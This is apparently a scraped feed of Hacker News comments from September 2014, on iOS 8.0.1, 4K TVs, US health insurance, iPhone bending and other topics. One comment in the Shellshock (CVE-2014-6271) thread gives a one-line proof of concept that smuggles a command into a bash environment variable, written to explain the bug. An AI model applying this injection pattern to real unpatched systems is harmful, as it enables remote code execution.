iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

Ouch, I feel for whoever let this slip.Experiencing some small scale analogs to this is what taught me to really appreciate the sort of simple, manual rigor that I often see from (much) older engineers.That's not to say that such things weren't done here - who knows. It's more a thought on what I sometimes perceive to be over dependence / confidence in automated testing.Now...Is there a term for the sort of "If X was Y then..." conjecture we have dotting this thread?Here, in relation to Apple it's "If Steve Jobs was alive...". In boxing it was "If Cus D'Amato was alive..."

2014-09-24 19:09:35 UTC

kstenerud

VIZIO $999 50-inch 4k TV

rayshan

That has to be the most disorienting website I've seen in a long time.

2014-09-24 19:11:14 UTC

wehadfun

E La Carte Raises $35M to Expand Pay-at-the-Table Technology

katm

I used one and thought it was in the way. It was nice to not have to wait for the check though

2014-09-24 19:11:35 UTC

nicholas73

Ask HN: How do US HNers get their health insurance?

tommichaelis

I've had one employer offer to pay you the difference, but I don't believe this is common outside of large corps known to be good places to work.

Hi guys,I'm from the UK and am engaged to a US citizen. A month and a half ago she lost her job, and health insurance, and since then I've been helping her through some sort of Kafka-esque nightmare regarding that. She's decided for now to use COBRA, under which she can continue with her old employer's coverage. It took about 3 weeks for the paperwork for that to come through, which we returned immediately, and we're now being told that once the payment comes through, it'll take a week and a half for the coverage to restart. So all in all, it looks like my fiancee is going to have spent over a month without health coverage. While once the coverage restarts, it'll be backdated to the 1st September (so she can claim for any out of pocket expenses she incurred), it seems crazy that for the last month any sort of serious health issue could have financially ruined her.The plan is to move to the US post marriage. This whole ordeal has put me off the idea of getting health insurance through an employer - I certainly don't want to spend time uninsured on the offchance I lose my job for whatever reason - not least because sods law states that that's the point that I'll get hit by a bus or some such. How many American HNers pay for their health insurance themselves? If you're working for someone who generally offers health insurance, but you choose not to take it, is there ever any scope for persuading them to contribute some money to your personal costs?

2014-09-24 19:12:32 UTC

jonalmeida

Datamining a Flat in Munich

ilovefood

What was your dataset of people who were applying? If a girl with an Italian name gets 90% and a guy with an arab name and is younger than 25 gets 1%, what about the in-between?I'd be curious to know where I stand..

2014-09-24 19:14:21 UTC

zyxley

E La Carte Raises $35M to Expand Pay-at-the-Table Technology

katm

This would be a godsend in Europe, where to American sensibilities it often feels like you have to have a flashing light and sirens to get someone, anyone, to show up and give you the bill after you're done your meal.

2014-09-24 19:14:27 UTC

lq14

Liberation and modernization of government legacy data using Django

siloraptor

In the video you mentioned that the project died, but the repository is still up, what's the story then?

2014-09-24 19:15:41 UTC

snissn

CVE-2014-6271: Remote code execution through bash

vault_

Here is a very simple proof of concept that helped me understand the vulnerability: bash-3.2$ anyvariable='() { true; }; echo foo' bash foo

2014-09-24 19:15:52 UTC

notahacker

E La Carte Raises $35M to Expand Pay-at-the-Table Technology

katm

The cynic in me can't help wondering why, if there's such a big mainstream demand for ordering at the table with minimal interaction with the waiter, paper menus with tick boxes and kiosks to pay on the way out haven't been the mainstream way of ordering and paying for food for a while.Maybe I'm going to the wrong restaurants.

2014-09-24 19:17:48 UTC

mmanfrin

Gobble Promises to Help Customers Make Delicious Meals in 10 Minutes or Less

yurisagalov

https://gobble.com/signup -- Page says 'select 3 kits', shows only 2, does not allow continuing unless 3 are selected.

2014-09-24 19:19:10 UTC

munificent

The biggest thing with small patches (2004)

ohmygeek

Small patches are the "hello world" of open source. They give you a chance to get familiar with and work through the contribution pipeline before you push something sizeable through.There's little useful about "hello world" as a program, but it ensures you've got your toolchain working correctly, which is a necessary precondition for doing real work. Trivial patches are like that.

2014-09-24 19:19:41 UTC

killertypo

Of Course the iPhone 6 Plus Can Bend in Your Pocket

digital55

I don't buy this at all. My iPhone 4 simply will not bend no matter how I flex it. My Brothers Note 2 does not bend, though I can apply some force and get a little bend out of it, it bends nothing like the iPhone 6 Plus. So while this article is free to "Duh" me all it wants. Simply put, standard wear and tear should not ruin/bend/crack the phone. Apple knows that people put these things in their pockets. I don't agree with putting phones in the back pocket, hell that's just asking for trouble (sitting on your $300 subsidized phone? lolwut), but this reportedly happens in the front pocket as well.There are some great videos of iPhone 6 pluses being bent with little force (comparably to note3 phones).Also I can't even fathom folding an iPad into the debate. I don't know anyone who puts theirs in their pocket. Maybe if I actually stepped on it (which happens as my daughter likes to leave the iPad laying about wherever she finished using it last, sometimes in her blanket forts).

2014-09-24 19:19:41 UTC

wmeredith

VIZIO $999 50-inch 4k TV

rayshan

Welp, that page definitely worked. I really want one. The zone backlighting for better contrast sounds great. I don't know if there's enough 4k content available that I care about it at the moment.

2014-09-24 19:20:42 UTC

jaynos

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

This is why I never upgrade my phone or OS as soon as possible. I don't think I'm missing anything by waiting.

2014-09-24 19:22:17 UTC

ghaff

Make Dinner: A Home Cooking Manifesto

jcater

I really like the idea. It seemed an odd recipe to start with though. "Ask the butcher to take out the backbone if you’re nervous about doing that yourself." No it's not hard; it would take me a minute or two with my poultry shears. The NYT has a great back-catalog of recipes but I thought this intro did a poor job of persuading non-cooks that this is almost as easy as getting takeout. (And, truth be told, a lot of cooking will take more time than takeout when you factor in planning, shopping, and cleaning--even if you keep things relatively simple.)

2014-09-24 19:22:28 UTC

robomartin

iOS 8.0.1 released, broken on iPhone 6 models, withdrawn

OberstKrueger

I have a very conservative rule: No updates for 60 to 120 days. This applies to PC, Mac, phones, tablets, routers, embedded devices, appliances, firmware in general. This has served me well for quite some time. I fully appreciate the time and effort put forth by those who have the time to deal wih the range of inevitable "oh shit's" that almost invariably come with every software release. Not something I have time for or interest in any more.The only times I have violated this rule was when somthing was already so broken that a new version would still be considered an improvement even with warts.Just one of those more conservative engineers.

2014-09-24 19:22:34 UTC

RRRA

VIZIO $999 50-inch 4k TV

rayshan

And 1000 hours capacitors? ;)

2014-09-24 19:22:43 UTC

qwerta

The biggest thing with small patches (2004)

ohmygeek

You need good set of unit tests if you want to survive managing open-source project.

2014-09-24 19:24:31 UTC

Canada

Kevin Mitnick Now Selling Zero-Day Exploits

privong

Let me inturrupt this fascinating discussion for an important PSA:All of you who don't produce 0 day: You don't get to have a say. Your opinion doesn't matter and you don't get a seat at the table, not even as an observer.And now back to telling other people what to do with their work product...

2014-09-24 19:24:36 UTC

atburrow

VIZIO $999 50-inch 4k TV

rayshan

Here's a better link: http://www.vizio.com/tvs/pseries.html

2014-09-24 19:24:54 UTC